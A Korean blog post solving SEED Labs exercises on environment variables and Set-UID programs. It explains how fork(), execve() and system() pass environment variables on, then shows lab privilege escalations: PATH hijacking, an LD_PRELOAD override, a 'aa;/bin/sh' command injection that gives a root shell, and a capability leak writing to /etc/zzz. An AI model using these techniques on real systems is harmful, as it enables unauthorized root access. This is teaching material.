본문으로 바로가기

"Computer & Internet security : A Hand-on Approach" 서적의 내용 중 System security에 관련된 내용을 기술한다.

 

본 블로그에서는 1장 "Set-UID Programs", 2장 "Environmetn Variables and Attacks"에 대한 실습 내용을 풀이한다.

 

SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.

 

Task 2: Passing Environment Variables from Parent Process to Child Process

 

Goal: How a child process gets its environment variables from its parent

 

Step 1. Please compile and run the following program, and describe your observation. Because the output contains many strings, you should save the output into a file, such as using a.out > child (assuming that a.out is your executable file name).

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
void printenv()
{
    int i = 0;
 
    while (environ[i] != NULL) {
        printf("%s\n", environ[i]);                                                                        
        i++;
    }
}
 
void main()
{
    pid_t childPid;
 
    switch(childPid = fork()) {
        case 0/* child process */
            printenv(); 
            exit(0);
        default/* parent process */
            //printenv(); 
            exit(0);
    }
}
cs

 

Step 2. Now comment out the printenv() statement in the child process case (Line 23), and uncomment the printenv() statement in the parent process case (Line 26). Compile and run the code again, and describe your observation. Save the output in another file.

 

Step 3. Compare the difference of these two files using the diff command. Please draw your conclusion.

 

 

Answer.

 

프로세스가 environment variables를 얻는 방법은 두 가지 방법이 있다.

 

첫 번째 방법은 프로세스가 fork() system call에 의해서 생성되었을 때 child process는 parent process 메모리 공간의 복사본을 사용하고 parent process의 environment variables 또한 그대로 복사하여 사용한다.

 

두 번째 방법은 execve() system call을 사용했을 때이다. execve() system call은 현재 메모리 주소 공간(text, data, bss, and stack)을 parameter로 전달받은 새로운 프로그램으로 덮어쓴다. 여기서 execve() 함수의 paramter로 environment variables의 array를 전달해 줄 수 있고 이것이 새로운 프로그램의 environment variables가 된다.

 

우리가 의미있게 고민해야할 점은 line 21에서 fork() system call를 이용해 새로운 child process를 생성했고, child process or parent process가 현재 사용하는 environment variables를 파일로 각각 redirect하여 비교하는 것이다.

 

이것은 위에서 설명한 environment variables를 얻는 두 가지 방법 중 첫 번째 방법에 해당하며 child process와 parent process의 environment variables가 동일할 것을 확인할 수 있으며 diff 명령어를 통해 실제로 두 프로세스의 environment variables가 같다는 것을 확인할 수 있다.

 

-- environ 변수는 전역변수로 선언되어 있으며 environment variables의 array를 가리키는 pointer이다. extern keyworad를 사용해 eviron 변수에 접근할 수 있다.

 

-- fork()는 새로운 프로세스(child process)를 생성하는 system call이며, parent process는 child process의 PID를 return 받고, child process는 0을 return 받는다.

 

 

Task 3: Environment Variables and execve()

 

Goal: How a child process gets its environment variables from its parent

 

Step 1. Please compile and run the following program, and describe your observation. Because the output contains many strings, you should save the output into a file, such as using a.out > child (assuming that a.out is your executable file name).

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
extern char **environ;
 
int main()
{
    char *argv[2];
 
    argv[0= "/usr/bin/env";
    argv[1= NULL;
    execve("/usr/bin/env", argv, NULL); 
    //execve("/usr/bin/env", argv, envrion);                                                                    
 
    return 0 ;
}
cs

 

Step 2. Change the invocation of execve() in Line À to the following; describe your observation.

execve("/usr/bin/env", argv, environ);

Step 3. Please draw your conclusion regarding how the new program gets its environment variables.

 

 

Answer.

 

Task2에서 설명한 것처럼 execve() system call을 이용하여 process를 생성할 때 현재 process의 메모리 영역을 새로운 프로그램으로 덮어쓴다. 그 과정에서 기존의 environment variable는 모두 사라지고, execve() systemcall의 parameter로 environment variable이 전달된다.

 

line 13을 uncomment한 상태로 실행하게되면 /usr/bin/env를 실행한다 하더라도 environment array list가  NULL이기 때문에 아무런 envrionment variables를 출력하지 않는다.

 

line 13을 comment하고 line 14를 uncomment하면 덮어 쓸 프로그램의 environment array list로 현재 process의 environment variables가 전달된다. 따라서 이 때는 현재 process의 envrionment variables를 상속 받는다.(Figure 1)

 

 

Figure 1.

 

Task 4: Environment Variables and system()

 

Goal: How environment variables are affected when a new program is executed via the system() function

 

Please compile and run the following program and describe your observation. (detail)

 

 

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    system("/usr/bin/env");                                                                                        
    return 0 ;
}
cs

 

Answer.

 

system() 함수는 실제로 "/bin/sh -c command"와 동일하다. 실제 system 함수의 구현을 보면 fork()를 수행한 후 child process는 /bin/sh를 실행한 후 execl() 함수를 실행한다. execl() 함수의 원형은 "int execl(const char *path, const char *arg, ...);" 과 같으며 environment variables는 현재 process(/bin/sh)의 environment variables를 상속받는다.

 

또한 일반적으로 shell program이 시작할 때  현재 process의 envrionment를 shell variable로 복사한다. 따라서 엄연히 shell variable와 envrionment variables는 다르다.

 

즉, Task 4의 flow를 보면 현재 process의 environment variables가 fork() 이후 child process와 동일하고 child process는 execl() 함수를 이용해 /bin/sh; /usr/bin/env 명령을 실행한다. execl() 함수는 현재 process(child process)의 environment variables를 자동으로 넘겨받기 때문에 현재 process의 environment variables가 전달된다.

 

** child process의 environment variables는 parent process가 이전에 environment variables로부터 복사한 shell variables와 사용자가 직접 정의한 shell variables(exported)를 environment variables로 사용한다.

 

 

Task 5: Environment Variables and Set-UID Programs()

 

Goal: How a environment variables effect on Set-UID program

 

Step 1. Write the following program that can print out all the environment variables in the current process.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
void main()
{
    int i = 0;
 
    while (environ[i] != NULL) {
        printf("%s\n", environ[i]);                                                                        
        i++;
    }
}
cs

 

Step 2. Compile the above program, change its ownership to root, and make it a Set-UID program.

 

1
2
3
// Asssume the program’s name is foo                                                                                    
$ sudo chown root foo
$ sudo chmod 4755 foo
cs

Step 3. In your shell (you need to be in a normal user account, not the root account), use the export command to set the following environment variables (they may have already exist):


• PATH
• LD LIBRARY PATH
• ANY NAME (this is an environment variable defined by you, so pick whatever name you want).

 

Describe your observation.

 

Answer.

 

지금까지의 task와 마찬가지로 shell이 program을 실행할 때 fork()를 이용해 child process를 생성하고 exec()를 이용해 현재 process를 덮어 쓴다. 이 과정에서 현재 process의 environment variable를 상속받고 Set-UID 프로그램 역시 영향을 받는다.

 

* PATH 변수를 변경할 때는 "export PATH=[추가할 path]$PATH"로 해야한다.

 

Task 6: The PATH Environment Variable and Set-UID Programs

Goal: Understand the effect of PATH environment variables on Set-UID Programs

 

In Bash, you can change the PATH environment variable in the following way (this example adds the directory /home/seed to the beginning of the PATH environment variable):

$ export PATH=/home/seed:$PATH

 

The Set-UID program below is supposed to execute the /bin/ls command; however, the programmer only uses the relative path for the ls command, rather than the absolute path: 

 

1
2
3
4
5
int main()
{
    system("ls");                                                                                                        
    return 0;
}
cs

 

Please compile the above program, and change its owner to root, and make it a Set-UID program. Can you let this Set-UID program run your code instead of /bin/ls? If you can, is your code running with the root privilege? Describe and explain your observations.

 

Note(Ubuntu 16.04 patch): Before we start it, you need to command bellow.

 

Before we start it: $ sudo ln -sf /bin/zsh /bin/sh

After we finshed it: $ sudo ln -sf /bin/dash /bin/sh

 

 

Answer.

 

지금까지의 system() system call을 사용하면 내부적으로  "/bin/sh -c command"와 동일하기 때문에 현재 process가 사용하고 있는 environment variables와 export로 선언한 shell variables가 새로운 process의 environment variables로 전달된다. 또한 우리가 command를 입력할 때 full path를 입력하지 않아도 shell은 PATH 변수 list를 차례차례 찾아보고 실행한다.

 

"$ export PATH=/home/seed:$PATH"로 인해 만일 ls라는 프로그램이 /home/seed 위치에 있다면 system 함수는 우리가 예상하는 /bin/ls 명령어 대신 /home/seed/ls 명령어를 실행할 것이다. 아래와 같이 ls.c를 작성하고 실험해보면 "your Set-UID program is danger!!\n"을 출력한다. 더 심각하게는 shadows 파일 등 root 권한으로 다양한 program을 실행시킬 수 있다.

 

#include <stdio.h>

int main(void)
{
        printf("your Set-UID program is danger!!\n");
        return 0;
}
~ 

 

Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

Goal: Understand the effect of LD_PRELOAD environment variables on Set-UID Programs

 

 

Step 1. First, we will see how these environment variables influence the behavior of dynamic loader/linker when running a normal program. Please follow these steps:

 

1. Let us build a dynamic link library. Create the following program, and name it mylib.c. It basically
overrides the sleep() function in libc:

 

#include <stdio.h>

void sleep (int s)
{
	/* If this is invoked by a privileged program,
	you can do damages here! */
	printf("I am not sleeping!\n");
}

 

2. We can compile the above program using the following commands.

 

$ gcc -fPIC -g -c mylib.c

$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc

 

3. Now, set the LD PRELOAD environment variable:

 

$ export LD_PRELOAD=./libmylib.so.1.0.1

 

4. Finally, compile the following program myprog, and in the same directory as the above dynamic link
library libmylib.so.1.0.1:

 

/* myprog.c */
int main()
{
	sleep(1);
	return 0;
}

 

Step 2. After you have done the above, please run myprog under the following conditions, and observe
what happens.


• (1) Make myprog a regular program, and run it as a normal user.
• (2) Make myprog a Set-UID root program, and run it as a normal user.
• (3) Make myprog a Set-UID root program, export the LD PRELOAD environment variable again in the root account and run it.
• (4) Make myprog a Set-UID user1 program (i.e., the owner is user1, which is another user account), export the LD PRELOAD environment variable again in a different user’s account (not-root user) and run it.

 

Step 3. You should be able to observe different behaviors in the scenarios described above, even though
you are running the same program. You need to figure out what causes the difference. Environment variables
play a role here. Please design an experiment to figure out the main causes, and explain why the behaviors
in Step 2 are different. (Hint: the child process may not inherit the LD * environment variables).

 

Answer.

 

다른 environment variables와 마찬가지로 export로 선언된 LD_PRELOAD 또한 새로운 program이 시작할 때 environment variables로 전달된다. 

 

Step2-(1)에서는 LD_PRELOAD를 이용해 우리가 새로 생성한 libmylib.so.1.0.1을 이용해 재정의된 sleep() 함수를 실행하는 것을 확인할 수 있다.

Step2-(2)에서는 myprog 프로그램을 Set-UID 권한을 가진 root 프로그램으로 변경하였다. 최근 환경에서는 dynamic linker (ld.so or ld-linux.so)에 countermeasure가 적용되어 있는데 process의 real ID와 effective ID가 다르면 LD_PRELOAD를 environment variables를 무시한다. 따라서 sleep() 함수가 실행되는 것을 확인할 수 있다.

 

-- The real user ID: process를 실행시키는 user

-- The effective user ID: access control을 위해 사용되는 user

 

[01/11/21]seed@VM:~/.../SEEDLAB$ gcc -fPIC -g -c mylib.c
[01/11/21]seed@VM:~/.../SEEDLAB$ export LD_PRELOAD=./libmylib.so.1.0.1 
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 					// step2-(1)
I am not sleeping!
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chown root myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chmod 4755 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ll myprog
-rwsr-xr-x 1 root seed 7348 Jan 11 07:07 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 					// step2-(2)
[01/11/21]seed@VM:~/.../SEEDLAB$ 

 

Step2-(3)는 process의 real ID와 effective ID가 동일하기 때문에 LD_PRELOAD environment variables무시되지 않고 실행되는 것을 확인할 수 있다.

 

[01/11/21]seed@VM:~/.../SEEDLAB$ sudo su
root@VM:/home/seed/Computer_Security/SEEDLAB# export LD_PRELOAD=./libmylib.so.1.0.1 
root@VM:/home/seed/Computer_Security/SEEDLAB# ./myprog 			// step2-(3)
I am not sleeping!

 

Step2-(4)도 마찬가지로 process의 real ID와 effective ID가 다르기 때문에 LD_PRELOAD가 무시되고 sleep() 함수가 실행된다.

 

[01/11/21]seed@VM:~/.../SEEDLAB$ sudo useradd -d /usr/user1 -m user1
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chown user1 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chmod 4755 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ll myprog
-rwsr-xr-x 1 user1 seed 7348 Jan 11 07:07 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ export LD_PRELOAD=./libmylib.so.1.0.1 
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 				// step2-(4)
[01/11/21]seed@VM:~/.../SEEDLAB$ 

** LD_PRELOAD: shared library를 위한 environment variables로서 LD_LIBRARY_PATH와 더불어 추가적인 shared library의 위치를 알려준다.

Task 8: Invoking External Programs Using system() versus execve()

Goal: Understand the dangerous of system() function

 

It has nothing to do with environment variables

 

Step 1: Compile the below program, make it a root-owned Set-UID program. The program will use system() to invoke the command. Can you compromise the integrity of the system? For example, can you remove a file that is not writable to you?

Step 2: Comment out the system(command) statement, and uncomment the execve() statement; the program will use execve() to invoke the command. Compile the program, and make it a root-owned Set-UID. Do your attacks in Step 1 still work? Please describe and explain your observations.

 

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        char *v[3];
        char *command;

        if(argc < 2){
                printf("Please type a file name.\n");
                return 1;
        }

        v[0] = "/bin/cat"; v[1]=argv[1]; v[2] = NULL;

        command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
        sprintf(command, "%s %s", v[0], v[1]);

        system(command);
        //execve(v[0], v, NULL);

        return 0;
}

[01/11/21]seed@VM:~/.../SETUID$ gcc -o task8 task8.c
[01/11/21]seed@VM:~/.../SETUID$ sudo chown root task8
[01/11/21]seed@VM:~/.../SETUID$ sudo chmod 4755 task8
[01/11/21]seed@VM:~/.../SETUID$ sudo ln -sf /bin/zsh /bin/sh

 

일반적으로 ";" 를 이용해 여러 명령어를 실행할 수 있다. task8 프로그램이 Set-UID 권한을 갖는 root 프로그램이기 때문에 중요한 명령어들을 실행할 수 있다.

 

[01/11/21]seed@VM:~/.../SETUID$ ./task8  "aa;/bin/sh"
/bin/cat: aa: No such file or directory
# id           
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# 

 

system() 함수와 달리 execve() 함수는 shell이 실행하는것이 아니라 OS가 execve() 함수로부터 받은 parameter를 조합하여 실행한다. 따라서 ";"를 이용해 여러 명령어를 실행하려 하더라도 OS는 이것을 하나의 명령어로 받아들여 다음과 같이 정상적으로 실행할 수 없다.

 

[01/11/21]seed@VM:~/.../SETUID$ ./task8 "aa;bin/sh"
/bin/cat: 'aa;bin/sh': No such file or directory

 

Task 9: Capability Leaking

 

Compile the following program, change its owner to root, and make it a Set-UID program. Run the program as a normal user, and describe what you have observed. Will the file /etc/zzz be modified? Please explain your observation.

 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

void main()
{
        int fd;

        /* Assuem that /etc/zzz is an important system file,
         * and it is owned by root with permission 4755.
         * Before running this program, you should creat
         * the file /etc/zzz first */

        fd = open("/etc/zzz", O_RDWR | O_APPEND);

        if(fd ==-1){
                printf("Cannot open /etc/zzz\n");
                exit(0);
        }

        /* Simulate the tasks conducted by the program */
        sleep(1);

        /* After the task, the root privileges are no longer needed,
           it's time to relinquish the root privileges permanently. */
        setuid(getuid());       /* getuid() returns the real uid*/

        if(fork()){ /* in the parent process */
                close(fd);
                exit(0);
        } else{ /* in the child process */
        /* Now, assume that the child process is compromised, malicious
           atackers have injected the following statements into this process*/

        write (fd, "Malicious Data\n", 15);
        close(fd);
        }
}

[01/11/21]seed@VM:~/.../SETUID$ sudo chown root task9
[01/11/21]seed@VM:~/.../SETUID$ sudo chmod 4755 task9
[01/11/21]seed@VM:~/.../SETUID$ sudo touch /etc/zzz

 

fork() 함수를 사용하게 되면 child process와 parent process 모두 동일한 file descriptor를 사용한다. paranet process는 "/etc/zzz"에 대한 fd를 close했지만, child process는 여전히 "/etc/zzz"에 대한 fd를 소유하고 있기 때문에 child process는 fd에 접근하여 "Malicious Data"를 쓸 수 있다.

 

참고문헌

[1] seedsecuritylabs.org/Labs_16.04/